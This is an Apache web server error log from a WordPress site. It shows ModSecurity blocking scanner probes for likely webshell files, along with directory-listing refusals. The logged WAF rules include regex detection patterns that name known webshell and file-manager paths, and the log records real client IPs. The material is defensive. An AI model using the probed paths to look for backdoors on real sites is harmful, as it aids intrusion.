[Sat Apr 25 21:05:15.564649 2026] [:error] [pid 3212:tid 3218] [client 74.248.33.118:57341] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aey8C_g-28TY8_YLtUcn1wAAAQQ"]
[Sat Apr 25 21:05:16.818118 2026] [:error] [pid 3212:tid 3234] [client 74.248.33.118:59836] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aey8DPg-28TY8_YLtUcn3QAAARQ"]
[Sat Apr 25 21:05:17.627727 2026] [:error] [pid 3212:tid 3233] [client 74.248.33.118:59820] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aey8Dfg-28TY8_YLtUcn3wAAARM"]
[Sat Apr 25 21:05:18.244711 2026] [:error] [pid 59897:tid 59937] [client 74.248.33.118:59781] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aey8DvBrrkdzpEbmK4eCFgAAAIo"]
[Sat Apr 25 21:05:18.843984 2026] [:error] [pid 59896:tid 59903] [client 74.248.33.118:58413] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aey8DrLLzhtkd-OXUgDq_gAAAEM"]
[Sat Apr 25 21:05:19.402782 2026] [:error] [pid 3212:tid 3218] [client 74.248.33.118:59864] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aey8D_g-28TY8_YLtUcn5gAAAQQ"]
[Sat Apr 25 21:05:20.012115 2026] [:error] [pid 3212:tid 3235] [client 74.248.33.118:61557] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aey8EPg-28TY8_YLtUcn6AAAARU"]
[Sat Apr 25 21:05:20.583408 2026] [:error] [pid 3212:tid 3226] [client 74.248.33.118:59882] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aey8EPg-28TY8_YLtUcn7QAAAQw"]
[Sat Apr 25 21:05:21.252618 2026] [:error] [pid 3212:tid 3225] [client 74.248.33.118:59892] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aey8Efg-28TY8_YLtUcn8AAAAQs"]
[Sat Apr 25 21:05:21.815859 2026] [:error] [pid 59897:tid 59950] [client 74.248.33.118:57310] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aey8EfBrrkdzpEbmK4eCFwAAAJc"]
[Sat Apr 25 21:05:22.463019 2026] [:error] [pid 59898:tid 59976] [client 74.248.33.118:6163] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aey8Eh-4vImxb0kbdzepUwAAANY"]
[Sat Apr 25 21:06:11.502780 2026] [:error] [pid 59898:tid 59956] [client 74.248.33.118:58536] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aey8Qx-4vImxb0kbdzepeQAAAMI"]
[Sat Apr 25 21:06:12.542791 2026] [:error] [pid 59896:tid 59915] [client 74.248.33.118:59841] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aey8RLLLzhtkd-OXUgDrYgAAAE8"]
[Sat Apr 25 21:06:13.649334 2026] [:error] [pid 59898:tid 59962] [client 74.248.33.118:61859] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aey8RR-4vImxb0kbdzepewAAAMg"]
[Sat Apr 25 21:06:14.281649 2026] [:error] [pid 3212:tid 3235] [client 74.248.33.118:58529] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hypo.php"] [unique_id "aey8Rvg-28TY8_YLtUcocwAAARU"]
[Sat Apr 25 21:06:15.141136 2026] [:error] [pid 59896:tid 59910] [client 74.248.33.118:56246] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aey8R7LLzhtkd-OXUgDrZQAAAEo"]
[Sat Apr 25 21:06:16.068953 2026] [:error] [pid 59896:tid 59906] [client 74.248.33.118:59831] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aey8SLLLzhtkd-OXUgDrZwAAAEY"]
[Sat Apr 25 21:06:16.737975 2026] [:error] [pid 59896:tid 59909] [client 74.248.33.118:59828] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aey8SLLLzhtkd-OXUgDragAAAEk"]
[Sat Apr 25 21:06:17.653187 2026] [:error] [pid 59985:tid 59988] [client 74.248.33.118:58535] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aey8SQF_zDvEhKvyTH6sVgAAAAE"]
[Sat Apr 25 21:06:18.738504 2026] [:error] [pid 59896:tid 59917] [client 74.248.33.118:61887] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aey8SrLLzhtkd-OXUgDrbgAAAFE"]
[Sat Apr 25 21:06:19.408171 2026] [:error] [pid 59896:tid 59916] [client 74.248.33.118:61851] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aey8S7LLzhtkd-OXUgDrcQAAAFA"]
[Sat Apr 25 21:06:20.143152 2026] [:error] [pid 3212:tid 3237] [client 74.248.33.118:59791] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aey8TPg-28TY8_YLtUcoewAAARc"]
[Sat Apr 25 21:06:20.906773 2026] [:error] [pid 59896:tid 59900] [client 74.248.33.118:61527] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aey8TLLLzhtkd-OXUgDrcgAAAEA"]
[Sat Apr 25 21:06:21.527188 2026] [:error] [pid 59896:tid 59922] [client 74.248.33.118:61843] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aey8TbLLzhtkd-OXUgDrdgAAAFY"]
[Sat Apr 25 21:06:22.102024 2026] [:error] [pid 59897:tid 59951] [client 74.248.33.118:58608] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aey8TvBrrkdzpEbmK4eCPwAAAJg"]
[Sat Apr 25 21:06:22.784110 2026] [:error] [pid 59897:tid 59929] [client 74.248.33.118:61538] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aey8TvBrrkdzpEbmK4eCQQAAAII"]
[Sat Apr 25 21:06:23.780626 2026] [:error] [pid 59985:tid 60001] [client 74.248.33.118:58578] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aey8TwF_zDvEhKvyTH6sawAAAA4"]
[Sat Apr 25 21:06:24.664079 2026] [:error] [pid 59898:tid 59977] [client 74.248.33.118:61867] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aey8UB-4vImxb0kbdzephAAAANc"]
[Sat Apr 25 21:06:25.286620 2026] [:error] [pid 59898:tid 59975] [client 74.248.33.118:58582] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aey8UR-4vImxb0kbdzephwAAANU"]
[Sat Apr 25 21:06:27.260569 2026] [:error] [pid 59896:tid 59914] [client 74.248.33.118:57302] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aey8U7LLzhtkd-OXUgDrfgAAAE4"]
[Sat Apr 25 21:06:27.887411 2026] [:error] [pid 3212:tid 3215] [client 74.248.33.118:57257] [client 74.248.33.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aey8U_g-28TY8_YLtUcoigAAAQE"]
[Sat Apr 25 21:17:15.305664 2026] [:error] [pid 59985:tid 59987] [client 45.86.200.186:37213] [client 45.86.200.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aey-2wF_zDvEhKvyTH6xYwAAAAA"]
[Sat Apr 25 21:17:19.782382 2026] [:error] [pid 3212:tid 3228] [client 45.86.200.191:59541] [client 45.86.200.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aey-3_g-28TY8_YLtUcxswAAAQ4"]
[Sat Apr 25 21:17:27.971440 2026] [:error] [pid 59897:tid 59927] [client 45.86.200.202:61901] [client 45.86.200.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aey-5_BrrkdzpEbmK4eFlAAAAIA"]
[Sat Apr 25 21:17:33.752607 2026] [:error] [pid 59898:tid 59955] [client 45.86.200.169:64567] [client 45.86.200.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aey-7R-4vImxb0kbdzer8gAAAME"]
[Sat Apr 25 21:17:41.864019 2026] [:error] [pid 59985:tid 59993] [client 45.86.200.203:25169] [client 45.86.200.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aey-9QF_zDvEhKvyTH6xhAAAAAY"]
[Sat Apr 25 21:17:54.472964 2026] [autoindex:error] [pid 59897:tid 59930] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:17:58.278790 2026] [autoindex:error] [pid 59897:tid 59950] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:09.241797 2026] [autoindex:error] [pid 59897:tid 59949] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:11.283963 2026] [autoindex:error] [pid 59897:tid 59929] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:18.778201 2026] [autoindex:error] [pid 59897:tid 59945] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:19.055607 2026] [autoindex:error] [pid 59897:tid 59927] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:21.664120 2026] [autoindex:error] [pid 59897:tid 59942] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:21.938591 2026] [autoindex:error] [pid 59897:tid 59947] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:23.939232 2026] [autoindex:error] [pid 59897:tid 59933] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:24.230844 2026] [autoindex:error] [pid 59897:tid 59943] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:24.503705 2026] [autoindex:error] [pid 59897:tid 59951] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:26.486772 2026] [autoindex:error] [pid 59897:tid 59949] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:26.760597 2026] [autoindex:error] [pid 59897:tid 59935] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:27.039412 2026] [autoindex:error] [pid 59897:tid 59950] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:33.823597 2026] [autoindex:error] [pid 59897:tid 59945] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:34.102751 2026] [autoindex:error] [pid 59897:tid 59940] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:34.647049 2026] [autoindex:error] [pid 59897:tid 59935] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:34.928019 2026] [autoindex:error] [pid 59897:tid 59931] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:36.929876 2026] [autoindex:error] [pid 59897:tid 59938] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 21:18:37.202739 2026] [autoindex:error] [pid 59897:tid 59947] [client 185.82.72.8:35727] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
